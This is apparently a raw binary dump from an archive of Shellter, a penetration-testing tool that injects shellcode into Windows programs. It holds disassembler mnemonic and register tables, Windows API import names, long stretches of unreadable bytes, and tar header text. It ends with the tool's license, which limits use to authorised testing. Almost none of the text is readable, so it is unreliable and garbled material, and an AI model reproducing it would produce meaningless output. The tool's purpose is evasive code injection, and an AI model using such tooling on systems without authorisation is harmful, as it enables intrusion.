fnop fxch fstcw fstenv fldcw fldenv fstp fst fld fdivr fdiv fsubr fsub fcomp fcom fmul fadd prefetchT2 prefetchT1 prefetchT0 prefetchNTA clflush sfence mfence xrstor lfence xsave stmxcsr ldmxcsr fxrstor fxsave pslldq psllq psrldq psrlq pslld psrad psrld psllw psraw psrlw vmptrst vmptrld vmxon vmclear cmpxchg8b cmpxchg16b invlpg rdtscp swapgs lmsw smsw lidt invlpga skinit clgi stgi vmsave vmload vmmcall vmrun lgdt xsetbv xgetbv sidt mwait monitor sgdt vmxoff vmresume vmlaunch vmcall verw verr ltr lldt str sldt idiv div mul neg not 1 sar sal shr shl rcr rcl ror rol xor xlatb xadd wrmsr wait wbinvd vmwrite vmread ud2 test sub std shrd shld setnle setle setl setnl setnp setp setns sets setnbe setbe setne sete setnb setb setno seto sbb sysret syscall stosw stosd stosq stosb sti stc scasw scasd scasq scasb salc sahf sysexit sysenter rsm rdpmc rdmsr rdtsc retf lret ret retn pusha pushad pushf pushfd pushfq push popa popad popf popfd popfq pop out outsw outsd outsb or hint_nop nop xchg pause movsx movzx movsw movsd movsq movsb mov lgs lfs lss lsl loope loopne loop lodsw lodsd lodsq lodsb les lea leave lds lar lahf jmp far ljmp jmp jcxz jecxz jrcxz jg jng ja jnle jle jnl jl jnp jp jns js jnbe jbe jne je jnc jc jno jo imul int3 int1 int into insw insd insb in iretw iretd iretq inc invd hlt femms enter dec das daa cpuid cli cld clc cbw cbtw cwde cwtl cdqe cltq cmpsw cmpsd cmpsq cmpsb cmp cmpxchg cmovnle cmovle cmovnl cmovl cmovnp cmovp cmovns cmovs cmovnbe cmovbe cmovne cmove cmovnb cmovb cmovno cmovo cmc clts cwd cwtd cdq cltd cqo cqto : , $%.4Xcall far $lcall %.8X%.16llXcall bts btr bt btc bsr bsf bswap bound arpl movsxd and adc add aas aam %.2Xaad aaa ??? +-#000000@ ehhheeeeh"bbeeehbhhhh_f8dghhhh8dhh8d(null) 00000000000000000000000000000000@  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~(null)0123456789abcdef0123456789ABCDEF$@Y@@חA7yACnF?O8M20HwZJ )=BeaEngine.dll_BeaEngineRevision@0_BeaEngineVersion@0_Disasm@4    ??:es:ds:fs:gs:cs:ss:b w l q t byte ptr word ptr dword ptr qword ptr tbyte ptr fword ptr dqword ptr byte word dword qword tword b w d q t escsssdsfsgsseg?seg?seg?seg?seg?seg?seg?seg?seg?seg?st(0)st(1)st(2)st(3)st(4)st(5)st(6)st(7)st0st1st2st3st4st5st6st7dr0dr1dr2dr3dr4dr5dr6dr7dr8dr9dr10dr11dr12dr13dr14dr15db0db1db2db3db4db5db6db7db8db9db10db11db12db13db14db15cr0cr1cr2cr3cr4cr5cr6cr7cr8cr9cr10cr11cr12cr13cr14cr15raxrcxrdxrbxrsprbprsirdir8r9r10r11r12r13r14r15eaxecxedxebxespebpesiedir8dr9dr10dr11dr12dr13dr14dr15daxcxdxbxspbpsidir8wr9wr10wr11wr12wr13wr14wr15walcldlblahchdhbhalcldlblsplbplsildilr8Lr9Lr10Lr11Lr12Lr13Lr14Lr15Lmm0mm1mm2mm3mm4mm5mm6mm7xmm0xmm1xmm2xmm3xmm4xmm5xmm6xmm7xmm8xmm9xmm10xmm11xmm12xmm13xmm14xmm15 @ @bx+sibx+dibp+sibp+di1md .'z o ZG -m--.f.. r4!:9@:::9;;k;PkPPQdQQR(44C5556IKMN-PQGST;x=?@FBCzEG Z>\@hF pifW]_XeY ac(effhjkCmnp rs^uvx;zRUUX;%< RjR=ku?A!DHFoHJLu8. ,> %4׼tO[6%7<==)s*D&'O}oaSRQP[] !ѪH"6"]\ZaV_Rbeg&Nѧ@[Rmo)zWW'.)MRVZL\I,0ajn9 )Y:a):9sty}J,/,I>=iIVWNP(LNץeBJK2S95WL.>$M$$P%%ô000,1e1112I2222-3f333Q1%%T$M\ʧ!Z/0EI?G, <3  jK*;]qR=>BC{C~`nȎ"|֕0> //00112~22z33v4r545n6 -:(67P %)B8!9ݠa4d4۶=) 7Y=Z((H(Es-??r)|SOy m}wJ "i$<&[#] %t;q^8_ˍ  <Uy  FZ; FbC$XYrqqTttuIb(Z(ujRޅ dR]&ʊV>]i}l~~{<||T}ns'?˪+8-%W('%b_io{kAvDw>p=pYed+hfWԺ:l;V*:bu#z2U 2t P @P~<@>2@`FHVdr~$6H^v 0HVdr~$6H^v 0VirtualFreeHeapCreateHeapDestroyHeapAllocHeapReAllocHeapFreeHeapSizeHeapValidateGetSystemTimeAsFileTimeGetStartupInfoAGetFileTypeGetStdHandleGetCurrentProcessDuplicateHandleSetHandleCountGetCommandLineAGetModuleFileNameAGetEnvironmentStringsFreeEnvironmentStringsAGetCommandLineWGetModuleFileNameWGetEnvironmentStringsWFreeEnvironmentStringsWExitProcessMultiByteToWideCharVirtualAllocVirtualQueryWideCharToMultiByteKERNEL32.dll0J00G11H223U333B444/5~556k66 7X777E888299999:U:p:::::; ;X;;;;;(,>G>z>>>>>??Z?p????? 0M0h0~0001-1C1^11111 2;2Q2l2223313t333334$4?4w44445G5b5x555556J66666757K7f777778V889e995::;;c>=?V????0x:0001:1s1112W2223;3t3339444 5Q555#6677.8889.9g999:t::$;;<<<=&=A=#>^>>>>>??@070Z0u0W1111122,3P3k3334445(5C5%6`6666677898\8w888-9w999:::;4;O;$<_<<<<<==>+>N>i>>?y?????P|01*1E1h11X2222233 4D4_444r55556*666667&7A7c777@8R8m889'::: ;7;R;t;;;;;&<<<*=f=[>H??`D0v11N223344556W6+7778s99i:;4;<<<=P>r>F??pD00112-3O3#4445k66a7 8,8999:H;j;><<<=>D?f?@<01112y348445p66Y7-8889:$;F; <<~==g>;???<0122T23344u5I66778@9b9)::;;>?LP0r0;12H2a23#334"5D556;7]7!858T88969Z99B:::;#<2=(>>??X041V122J3l3)44S5u526667E77288p99:K:y::b;;[<<<<_==X>>>?S???\0=1162y222:3334444.5g55]6667778s888e999d:::c;;;b<<<=k>??x%0S0000W1122393e3333R4455646`6666M77z889/9[9999H::u;;<*> ?%?Q?}???l>00k112 2L2x222933f4445G5s555466a7778B8n888G99 ::%;9;T;r;;;;>>b?/0091111@2223Z3n333344]44j66666*7E7u77728M8c8~888 9$99999:R:m:::&;Z;u;;;;<1>>>>?)?Y?t??010G0b00001v1111162Q222 3<3W3334444;5m555(6C66N7788r999-:_:z::;5;;;;^<<<=K=f==>#>9>T>>>>>h?????(0C0s00001K1a1|1112"222223P3k333$4X4s44444/5J5556686x6666L77777 8'8W8r889/9E9`9999:u::;x<&=k=(>>2?? T[00)11a2z22333x34[44#5^555"66`7789o99:R;;h<>>??0`001122 3344555|66778Q88/9Y99:h::;a;;;3>>>U???@90`0|0011k111"2`2223(3D3333I4444(5O5k5555p6666O7v7778#88889v999:.:J:::#;?;;;;.U>|>>?j??Ph@0009111222&3~33.44465t5-6665777=8{89^99:f::;T;;W>>>?O??`h0g000!1_1112243r333,4j444u555<6z66647r7+8v88809n999(:::\;;; ?{??p@ 01124}4 5j5566D7)8B88S:;;<< ==>>>?v??TD00-1w11`222>3334f44L55a66778f88{99s::::;L<>D??<|00122n344N55f66788&9 ::8;;p<<=&>>>?\0v0C11m22}34P44A55=66778*888H99:y::3;;;;~<<<'==>&>T>>0?S??0000g11;223y334M445V55(6@6|666747L7778(8~8889Z9r999R:j::::;N;f;;;;R>j>>>>???h000c11D223333p444&5555667y77M88!9999y:::/;;;/>???d*000u11V22*3333444w555 6667M77\8s88A99:::S;;;s<<>&???d,001j11>223333j44<5v555"666!7\77k888P99$:::b;;Bm>>???P700012233K44I55X66777:889+:t::;;;<<W>>???Tc00*1s11:22333F44 5V55*66 777w88X999::;p;;Q<<2==>>>??P`00A11"2x23Y33:4455566h77I88*99 :a::B;;#<<===p>>Q?? H2001i11R22!33 444i55;66m788*99":::;;`=>>R??08;000y11.2<3Y44567q8(96::{;?<<(==d>>?@P 0v00E112#3v33G445S6 7`77<88 9z99c::4;;>??PP0f000P122433'4455O668777g88699d::D;;<<>>|??`@D00111T2233M445 66>77p899!:=;;<r>Q??pH0W11(2{22L33V44'5z55K66y7 82899f::;;< ==$>>==>X>>?g??L000`12g23}3,4j4555^66/778S88]99f::8;;j<==K>>}??PC00"116223r33N44555l66=778a88k99:;;K>V>>? 000a11J22t3<445c556t66727j777738X8{8889A9999:9:\::::4;L;Y;q;;;;;;<[<<<<<==)=A=N===>>%>=>j>>>>>>'?f?~?????? 00P01101f22223B3Z3g333333H44445!595f5~555555_66667/7<7T7777778'8N8p88909^9y99999%:=:J:b:o::::;3;;;<<_x>>>??(?@?m??????0:0\0{0/1\1152E2V2y22223{333334K4X4p4444444)5O5v555+6X666667 7M7e7r777777&8H8g88969Q999999:":::G:_:::::;;; <'>>>3?K?X?p??????0C0j000E1r11112"2:2g222222 343V3u34<4j44444515I5V5n5{5555 6?667M77888B8h8888j9999":::G:_:::::::;>;e;;;@;>]>|>?C?q????? 080P0]0u00000131R1111 2*2B22222 3!3>3V33333454b4z44445L5d55555 6#6`6x66667777t777778N8f88888-9E9b9z9999:A:Y:v::::;(;E;];;;;:>g>>>>>?Q?i?????0(0e0}00001$1<1y111112]2u22222<3T3q333334P4h44444575^5v5556+6H6`66666'7?7\7t77777;8S88888979t99999:3:K:::::;*;G;_;;;;; <8<<=R=u===== >C>V>w>>>>?+?m??????;0^0q0000111/2R2e22222 333T3w33334J4m444445;5N5o5555 6R66.7q777777?8b8u88889-9J99999::Z:}:::::2;O;;"R>o>>>>?%?H?[????? (0)0t00069G9 :N;};;;W>>> ?4?T??@0g0000,1i1122F2f22 33414a4445F5v55#6V666&7T77778888"9U9999C:N:2;w;;<<<==$=-=3=;=A=H=N=V=c=u=====>>>?P`2l2~22>3 4414<4B4X4_4}4444444444 555d5j55555566,6[6p6666667M7T7f7x7-9H99999::d:m:m<<<< ==[=a===>>>[>>"?.?4?t?z????`12]8a99m::G;'<7<=> >p>y>>>>>>>> ??W?^?~???????p00&0,060Q0Z0d0w0}000000011Z1|111112222<2X222222223'31373>3X3a3u3333333 44#4)404M4Y4`4o4u4}44444,535=5w557 79999f:p:X<<q>w>>??????????0/0K0Q0011[1a1k111145K5889 999(929<9F9P9Z9d9n9x99999999999999:::":,:6:@:J:T:^:h:r:|::::::;;9;H;O;a;<<5 5$5(5,5054585<5@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|55555558888888888888888888999 99999 9$9(9,9094989<9@9D9H9L9P9T9X9\9<<<<<<<<<<<<<<<<<<<<<<=== ===== =$=(=,=0=4=8=<=@=D=H=L=P=T=X=\=`=d=h=l=p=t=x=|=================================>>> >>>>> >$>(>,>0>4>8><>@>D>H>L>P>T>X>\>`>d>h>l>p>t>x>|>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>??? ????? ?$?(?,?0?4?8?>`??$0@0000000000011aEaEs"wC#AAa;Y5"/ro?3ADAY/_k[BJ3Z )Z'"+fn(n7fKK7uXKÚW77HHrJIBLLIN{ !{d`!LG{_d5ƫ:GC{:xyJCSCSC{Ƅ{QQyED{$tD{+D{g(ƄyyED{LƘ%yS{Ey{K@ƀ@yE@D{L:fs"wC#AAa;Y5"/ro?3ADAY/_k[BJ3Z )Z'"+fn(n7fKK7uXKÚW77HHrJIBLLIN{}vg{dz}zG{_d5"@@@@@{)Ej@@y@@{QQ hƖf\f{㦱EyS{{S@{K@ƀ@@D{3@E{ƖgޘЖfKLftaEs"wC#AAa;Y5"/ro?3ADAY/_k[BJ3Z )Z'"+fn(n7fKK7uXKÚW77HHrJIBLLINyC{"|{㦱Es"wC#AAa;Y5"/ro?3ADAY/_k[BJ3Z )Z'"+fn(n7fKK7uXKÚW77HHrJIBLLIN{}vg{dz}zG{_d5"@@@@@{)Ej@@y@@{QQk<+ALQ"C{Dƚ@{s@@@D@E{F=(ƅyL@@@@E{> hƖf\f{㦱EyS{{S@{K@ƀ@@D{3@E{ƖgޘЖfKLs"wC#AAa;Y5"/ro?3ADAY/_k[BJ3Z )Z'"+fn(n7fKK7uXKÚW77HHrJIBLLIN{ !{d`!LG{_d5ƫ:GC{:xyJCSCSC{Ƅ{QQyED{$tD{+D{g(D{f}^ryyED{LƘ%yS{Ey{K@ƀ@yE@D{L:faEXaEs"wC#AAa;Y5"/ro?3ADAY/_k[BJ3Z )Z'"+fn(n7fKK7uXKÚW77HHrJIBLLIN{ !{d`!LG{_d5ƫ:GC{:xCCCCSCSC{Ƅy{RRRR{QQyED{grƖg]f{㦱EyyED{LƘ%yS{Ey{K@ƀ@yE@D{L:f@aEU 1dP0R Rr(J&1>>333777sss000yyy/// :::ppp===xxx;;; MMMqqqCCCSSS~~~ IIIooo777 ,,,iii>>>///--- hhh888$$$JJJbbb???SSS|||PPP 666%%%KKK===UUU@@@QQQ yyy$$$KKKvvvTTTBBBdddQQQ$$$KKKTTT$$$QQQPPP((($$$KKKJJJ...TTT^^^QQQJJJ%%%$$$KKKEEE+++TTT WWWQQQJJJ%%%$$$KKKEEE+++TTT WWWQQQJJJ%%%%%%EEEEEE+++TTT WWWQQQJJJ%%%^^^EEE+++TTT WWWQQQJJJ%%%***$$$EEE+++TTT WWWQQQJJJ%%%...EEE+++TTT WWWQQQJJJ%%%:::EEE***000}}}jjj!!!JJJ WWWQQQJJJ%%%DDD<<<$$$vvvOOOSSSUUU WWWQQQJJJ%%%GGGqqqHHH!!!(((LLL((( WWWQQQJJJ%%%gggyyy555hhh000888NNN WWWQQQJJJ%%%///GGG%%%^^^{{{ WWWOOOJJJ%%% gggPPPGGG;;;BBBIIIRRRJJJ%%%LLLAAA***WWWeeeJJJ%%%lllIIIBBB@@@ooo(((JJJ%%%)))sss'''FFFHHH HHHOOO"""$$$777!!!tttXXX GGG:::;;;iii>>>!!!***LLLYYYiii>>> JJJAAAccc""" ooo;;;%%%'''<<>> <2 33W4f4p44445 545G5_5555556;<<<=>0,&050g11 2334P56e>>?????@,600000045/888888 9:#<P$e677(89;a<=o>> ????`52 69:E;w;;E=pT22233Z3y33404r444444p555M66679:;<7>f?s?0$001>1111 22X2r2222333D4\4515A5Y555555 676X6d6666666v7778)888 99)9W9i9:>:P:x::<;g;v<<<=???t010a000001112i2t22 3\334567777N7Y7y777778@8J8t8 9:8::::;G;<<<#>J>>4?,0X0|0V1c11112555F6U66F7U778B888889%9;H;x;;<7>@>V>s>z>>>>>>>>>>>>>>>??6?D?z??????0F0~001H1q11t2223333,4H455566778Q::: ;D;;;V<<<6>;>V>[>p>u>>>>>>>>>>>>?? ?400H1f2v23V4c466789f:v:>|???X2122235333:4F5]55555666j67!8\888888.999F;Y;;&<5<&>8>>>? 449;=f?u?????X000h333 44Y4f44445"5i5v5566E6667&8589%9::>:v:::::\;<===<W5a5h5r55555555556,6C6J6T66 77)757B7M7o777777777788&858A8F8K8P8n8888888899 9*9O9Z9z9999999999 ::):4:F:Q:`:f:p:v:::::::::;;;&;0;5;:;?;D;I;t;;;;;<<)<.>0>;>F>Q>\>g>t>>>>>>>>>>??L?c?i????d00J0^000&1I1112422223p333344%4P4n44444(5P5e5555566@6W6666&7d7w7}7778&80858:8P8Z8_8l8q8v8888888;9G9S9999999:!:::^:j:z:::::::;;(;3;B;U;a;w;;;;;;<)<4%><>A>F>s>x>}>>>>>>>>?4?9?>?T?Y?o?t?y??????? 000$0)0V0[0`000000011$1|1111111122;2@2E2222223331363\3a3f33333 4%464;4R4W4}444444444D5U5m5|5555555 666Q6\6y66666667 7.7I7T7q7}77777778&8A8L8i8u88888888999D9a9m9y99999997:B:Y:d:z::::::::::::&;,;L;j;|;;;;;;; <b>>>>?0?=?H?^?j??????????????0000050:0?0Y0^0c0h0000000000&131I1X1h11111 2/292>2C2H2`2e2j2o222222222253A3M3`3f333333333334(444@4L4X4z4444444455%5+5K5s555555556'686666 7777A7h7~777 88$878=8^8r8}888888888909B9b9u9z999999999999%:=:^:q:w::::::::::;%;*;/;E;O;U;`;e;j;;;;;;;;;;<<1<<'>2>=>H>j>>>>>>I?i???@0$0/0E0Q0f0k0p0u000000000000 11-12171<1V1[1`1e1~111111111 2$2+2M222313E3Q3`3l3w333333333 44"414=4B4G4L4j4}4444444555$5)5D5w555555555 66'6-676=6]6}666666666666671777W7777777772878<8A8F8K8y88888888949@9L9p999999999:::+:7:C:O:b:h:::::;;!;X;s;;;;<%<6>g>>>>>>?9?K?p????PpF0|001.1o11112C222)3<3X3h333333334 4G4[4g4s4~4444444 55"5=5_5555555555566+606G6L6Q6~6666666677 7@7E7J7s77777777778#8(8R8a8m8r8888888 99&9=9B9G999999:#:H:M:^:c:z:::::; ;?;D;i;n;;;;;;;;(<-<`b>g>l>q>>>>>>>>>>>>>>??(?2?7?5C5555555 6 6+6e6666677 77(7-72777Q7V7[7`7{777778880868Q8[8`8e8j8o8t888888999(9J9V9b9n999999999:@:R:^:j:v:::::K;a;r;;;;<<0>6>O>w>>>>>>>>>>>>????$?)?R?f?p?u?z????????p0&020>0T0e00000000000011 1.1A1M1_1l111111111111212=2I2V2g223E3]333333444 4:4?4D4I4b4m4y4444444444455 55)545@5F5Q5\5i5}555$7778;<+<0<:>>83!4|449=,v8<=@=D=H=L=P=T=X=f=x=(>R>]>????D2222 3q33444r5~5555V6h67L7O8n88889K?W?~???8i00000000001G111112-282L2t23P39;@H?L?P?T?X?\?`?d?h?l?p?t?x?|??????????????W02W5789;7=g>?,'2x=|==============>X?Ll0p0t0x0|0000000113T4X4\4`4d4h4l4p4t4x4|44444444V:D7777 7$7(7,7074787<7@7D7H7L7P7T7X79A9{:W;;f?\0011R1^111D2P2222222*363b3m333i77 878d8o88888:R:i::;>%>9>D>j>>@\'112!2,2t222222U4q67S7^7899:*:F:Q:::;;;>???PD00t11|22l3|3445(5<555556~66777788899`&25222222A3t33333334#4)404;4@4F4M444445r5E6c666667797T7o7777778,8G8b8}8888899:9U9p999999:-:H:c:~:::::; ;;;V;q;;;;;;<./>J>e>>>>>>?"?=?X?s??????p000K0f0000001#1:1?1D1Y1b1g1t1y1~111111222,21262;2@2k2p2u2z2222222223 33373<3A3F3j3o3t3y3333333333344"4'4,414U4Z4_4d444444444444455!5&5J5O5T5Y5}55555555555555666"6F6K6P6U6o6t6y6~66666666666667!7&7+7O7T7Y7l7q7v7{77777777777788"858:8?8R8W8\8a88888888888889999#9A9F9K9P9t9y9~999999999999:: ::3:8:=:B:f:k:p:u::::::::::::; ;;;;;@;E;J;d;i;n;;;;;;;;;;;;;;<< <<#<(<->>+>0>5>:>T>Y>^>q>v>{>>>>>>>>>>>>??? ?:???D?W?\?a?t?y?~??????????00 00,01060I0N0S0f0k0p0u000000000000111/14191>1b1g1l1q11111111111112222$2>2C2H2[2`2e2j2o22222222222333$3)3<3A3F3K3e3j3o33333333333334444"4'4A4F4K4^4c4h4m4r4w4444455F5O5T5556666666666 77772777<7A7e7j7o7t77777f8o8t88899999999999:::$:>:C:H:[:`:e:x:}::::::::::::;;";';K;P;U;Z;v;{;;;B+>0>5>R>W>\>a>f>>>>>>>>O?T?Y?^?x?}???????????? 00000$0u0z00000000000011 11$1)1<1A1F1K1r1w1|1111111111111 222'2,21262P2U2Z2m2r2w22222222222222333 3%383=3B3G3L3Q3333334!4&494>4C4H4b4g4l444444444444444V5_5d555666666666666667;7@7E7_7d7i7n777777777888888 9_9d9i9n9999999999999::D:M:s::::::;;<<<$<)<<?>D>s>|>e?j?o?t?y?~?????????0 0%0*0F0K0z0011$1S1\1V2[2`2e2222222222233 3353:3?3D3`3e33364?4D4s4|4v5{5555555555566"6'6,616U6Z6_6d66666V7_7d7778888888888999 9D9I9N9S9o9t999D:I:N:a:f:k:~:::::::::;;;;;;;;;< <<<4>I>>>>>>>>>>>>#?(?-?@?E?J?]?b?g?l???????,?0D0I0N0S0X0000000+141Y11111111112$2I2v222223333334 4441464;4@4d4i4n4s44444V5_5d555666666666666*7/74797S7X7]7b77777777788888999999::":':A:F:K:P:t:y:~::::::f;o;t;;;<<<<<<= ===/=4=9=>=b=g=l=q=====T>Y>^>>>v00000111111111 222262;2@2E2_2d2i2n222222222233 3&3+3Z3c333434<42575<5O5T5Y5^5c5h5555555556 6660656d6m6777C7L7F8K8P8U8o8t8y8~88888888889999C9H9M9R9n9s9996:?:D:s:|:v;{;;;;;;;;;;;;;;<<<<"<<1>>>>>?+?n?s?x?}????????+040Y0c0h000000000000061?1D1s1|1r2w2|22222222222333!3E3J3O3T3p3u333P4U4Z4m4r4w4444444444455 55A5X5555555556B6f6o6t6667777777788!8&8+808T8Y8^8c88888F9O9T999:::::::::::::; ;;;;;`;e;j;o;;;;;;;;;;;<$<<<<<<<= ====G=L=w=|==========>>$>P>U>Z>_>>>>>>>>>>>>>"?9?p??????????|0 010e00000011111111192>2C2H2b2g2l2q222222222333333 4_4d4i4n444444444444455D5M5s5555556677770757:7?7Y7^7c7v7{7777777777788,81868;8W8\88890999>9m9v999999:$:):.:3:e:j:o:t::::::4;9;>;C;];f;k;;;V<[<` >>>G>`>i>n>>>>?$?)?.?H?M?R?W?q?v?{????????0 030B0G0000001111111 2222K2P2U2Z2t2y2~22222222333333333333'4,41464Z4c4h444444445$5J5555566"6'6,6T6Y6^6c666666666667 777;7@7E7J7p7u7777777!8*8P8_8d8i888888888999999999:::!:=:B:r:{::;;;!;&;N;Z;_;d;i;;;;;;;;< <0<<<<<<<<<<<<==$=)=X=a=====> >>>9>>>C>V>[>`>s>x>}>>>>>>>> ???2?7?;];b;g;z;;;;;;;;;;;;;;;<#<(<-<2=C=H=b=g=l=q=============>>>>>>C>H>M>g>l>q>v>>>>>>>>>>>>>???$?C?H?M?R?q?v?{?????????????`00!0&090>0C0H0b0g0l0q000000000000000000000 11"1'1,1F1O1T1Y1^111111111111I2N2S2X2222222223 3R3W3\3o3t3y333333333334 4%4B4G4L4`4e4j4~444444444442575<5A5e5j5o5t55555566"6'6I6N6S6X666666666667 7777E7J7O7b7g7l77777777777777778A8X888888888 9b9g9l9q99999999999: :::-:2:7:J:O:T:Y:{:::::::::: ;;;; ;K;P;g;l;u;;;;;;;;<<$<)<.<32>9>E>Q>]>i>u>>>>>>>>>>>>>>>>?!?&?+?N?W?\?a?f???????????? 00 0%0*0/0I0N0S0X0]000000000000000000011122'2,212:2?2H2Q2V2222222222b3g3l3q3v3333333333344'4,414x4}4444444444444445'5R5W5\5e5j5o5t5y5556(6-626G666677 7%7*7j7o78-82878<8`8e8w888888888899;9M9R9W9\99999999999:: :%:b:g:~:::::::::: ;;;2;;;@;E;;;;;;;;;;<< <<<<<<<<<<<<<<<<=+===B=G=L=p=u=========>>>->2>7><>V>[>`>e>>>>>>>>>?? ?????v?{????????0P 0000@0E0W0`0e0j0o0t0y0~000001-12171<1V1[1`1e11111111111111<2A2F2K2m2r2w22222222222233"3'3,3r3w3|333333333444#4(4-444444444444445#5(5-5T5Y5^5c55555555566 686=6\6a6f6k6666666666667 7,71767;7b7g7l7q777777777778B8G8L8_8d8i8|88888888888999!9&9+9V9[9z999999::: :%:*:/:P:U:Z:n:s:x:::::::::::::;; ;;#;(;-;Q;V;[;m;v;{;;;;;;; <<<-->2>M>R>W>j>o>t>>>>>>>>>>> ?2?;?@?E?J?O?T?Y????@` 000'0,010D0I0N0S0X0000000000000001111#1(1S1X1o1t1y111111111111111"2'2Q2V2[2`222222222222 3333#3P3U3Z3_3333333333 444 4%4r4w4|4444444444445555#565;5@5S5X5]5p5u5z555555666'6,6P6U6Z6z6666666677!7E7J7O7o7t7777777888:8?8D8d8i888888889 9/94999Y9^9u9z9999999:$:):.:N:S:j:o:x:}::::::;;#;C;H;_;d;m;r;;;;;;;;;;;;;;;;B>> >D>I>N>S>X>>>>>>>>>>>>>?(?-?2?7?Y>g>>>>>>>????"?'?,?1?h?n????`$ 060=0B0G0L0Q0k0t0y0~00000000011 1111A1H1c1j1o1t1y1~111111111172A2N2a2m2s222222D3^3333u555555555656<6@6D6H6L6P6T6X6666667%7@7G7L7P7T7u77777777777>8D8H8L8P89999/:6:>:::::::;#;{;;;;;;<<<=}=d>>>>>>4????p(0000=0L0V0h0w0~000000001+141X11A22222@333346I7P7r7y7!88888999c9h9r99999":S:Z:m:::::::::::::::; ;;!;&;,;6;@;P;`;p;y;;;;;;;;;;;;;;< <<<#<)<3<=d>l>>>>>>>>>>>???????0(02080C0f0k0w0|0011,1A1]1~11112h223383z3334P44&6p66666u88888<< ==L====.>4>8>=>C>G>M>Q>W>[>`>f>j>p>t>z>~>>>?@?E?????$0*0L0^0001111s222U4s44444444455 5$5(5,50545855555556 6'6,60646U666666666667$7(7,70788:9n9999;:h::: ;;8;S;k;w;;;;>R>?L?b??00*0T0[0b0i00000001F1a122 353C3L3w33'4A4I4T4k44444444#5Z55536g666O8y88888V9w9::;< <<+>>>??+?6?A?I????|0F0c0111 223556688.:k:r::::::::%;B;H;R;h;{;;;;;; >????d0r0?1n1w11122223344556,66688)9\9q9w9999:O:j::::;I;\;;>>1>>c?22I6M6Q6U6Y6]6a6e6i6m6q6u6l788899 9p9u9;;K;W;;;;;;;(<;!>)>.>Z>u>>>>>>>>> ??.?b???????????0000%070A0G0b0r0{000000000000000011111!1)1.141<1A1G1O1T1Z1b1g1m1u1z11111111111111111111112 222 2%2+23282>2F2K2Q2Y2^2d2l2q2w22222222222222222222223 3333"3*303>3L3Z3a3n3w3333 44%44444445`5f5k5r5x555555553686A6F6O6T6a66666\77777858888889:w; >@??@\012,2=2E2U2f2N7779c:>">4>F>X>j>|>>>>>>>%?$122222*3444448840`112D334444445%5E5M5f5M6888= ????0|000 00000 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0933J446}77788&99::L;X;;;"<.>????@X00b0011`1h112"2a2223O3l33E4O4j444z5555666f69:<PA0E0I0M0Q0U0Y0]0O1Z1:2V233333 464I4k4r444555576F6e6666J78!888)9?9U9n9999999:-:T::::;2;;;;<'">J>Z>h>>>W??`0R1t2|2$444P5X5d5s556M66779(:4:::::q;;>>A>R>X>d>t>z>>>>>>>>>>>>>>>>>?'?-?6?->S>> ??3???????0000 1f1;S2Y2}22222%333=3a3k3334)4g4y44425C5J5R5k55555576_6666677777777858<8Y888888888999J9p99::@:9;z;;==>pD1L1m1u1 2(2K2S22666667I777777778::::::; ;;;=;Y;`;;;l>>>?@0122\3c333E44444588F9999w::;;;;=?0111Q24446::;O;<[====>?t400 1B1n112N223R466$7J7777\888929Z999:*:l:::;4;;;<7T>>>>V???<$0T0w0000#1P1}11111222$2.282B2L2V2`2j2t2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|222222222222222222222222222222222333333 3$3034383P3T3X3\3`3t3x3|33333344444X8`8d8h8l8p8t8x8|888888888::::; ;;;$;,;4;<;D;L;T;\;d;l;t;|;;;;,848<8D8L8T8\8d8l8t8|888888888888888889 999$9,949<9D9L9T9\9d9l9t9|99999999999999999: :::$:,:4:<:D:L:T:\:d:l:t:|:::::::::::::::::; ;;;$;,;4;<;D;L;T;\;d;l;t;|;;;;;;;;;;;;;;;;;< <<<$<,<4<< >>>$>,>4><>D>L>T>\>d>l>t>|>>>>>>>>>>>>>>>>>? ???$?,?4?>><>H>h>t>>>>>>>? ?,?L?T?\?d?l?t?|??????0000<0D0P0p0|00000001(141T1`1h11111111 22(2H2P2\2d2222223333$3D3L3T3\3h333333334 4(4@4d4t444444455$5D5P5p5|555555556 606@6L6l6x66666667(7H7P7X7`7h7t77777777788 8(8@8d8t8888888888989D9`9|999999: :(:4:P:p::::::;(;H;h;;;;;;;;<( >,>L>X>x>>>>>?8?X?x?????????\000<0H0P0|0000000000001 1 1(10181L1T1\1d1h1l1p1t1|1111111111 T00222222222222222222243<3D3L3T3\3d3l3t3|333333333333333334 449::::::::;;; ;;;;; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<<< <<<<< <$<(<,<0<4<8<<<@>>>>>>>>>>>0 85<5 X11477<8x9::::;4;X;t;;;<@<|<<<<=D=p====>>8>\>|>>> ?,?L?shellter/licenses/0000755000175000017500000000000013054633550014051 5ustar sophiesophieshellter/licenses/Shellter_License.txt0000644000175000017500000000510413055006336020033 0ustar sophiesophie License Agreement ==================== This software makes use of the "BeaEngine Disassembler" library. This license was updated the 26th of February 2017. Disclaimer ----------- This software is created with the sole purpose to assist ethical hackers in their daily jobs during Penetration Testing and/or Red Team engagements. The author of this software and Insainted Ltd assume no responsibility for any unlawful actions taken and any damages caused by using this software. Terms of Use ============== 1) You can use this software and share it with anyone as long as you do this for free and you respect all the following terms. 2) You assume full responsibility for any damage caused by this software either this applies to you or to someone else. 3) You assume full responsibility for any unlawful actions taken by using this software. 4) You are allowed to modify this software, but if you do then you have to explicitly state so in case you share it with other people. 5) You are allowed to reverse engineer it, disassemble it, debug it, for any reason that might be, but in case you find a bug then please report it to the author and give him the necessary amount of time to fix it before disclosing it. 6) You are allowed to distribute this software from your own website, but if you do then you have to include a link to the official website along with a link to this license agreement. 7) You are allowed to use this software for work purposes, but you are not allowed to charge for it. This means that you have the right to use it as a complementary tool to assist you at work for business purposes, but you are not allowed to to use it in situations that fall in the following two cases (a and b) without the written agreement of its author. a. You are not allowed to build a commercial service based on this software. b. You are not allowed to integrate this software with any other software, unless it's for private usage and does not violate the previous term. 8) You are not allowed to use this software to gain unauthorized access to a computer system or network without a written agreement of its owner. 9) You are not allowed to build any type of public software such as 'tools', 'scripts', 'applications', and 'frameworks', that are using and/or referencing this software without the written agreement of its author. Thank you, kyREconshellter/licenses/BeaEngine_License.txt0000644000175000017500000002014212713435410020064 0ustar 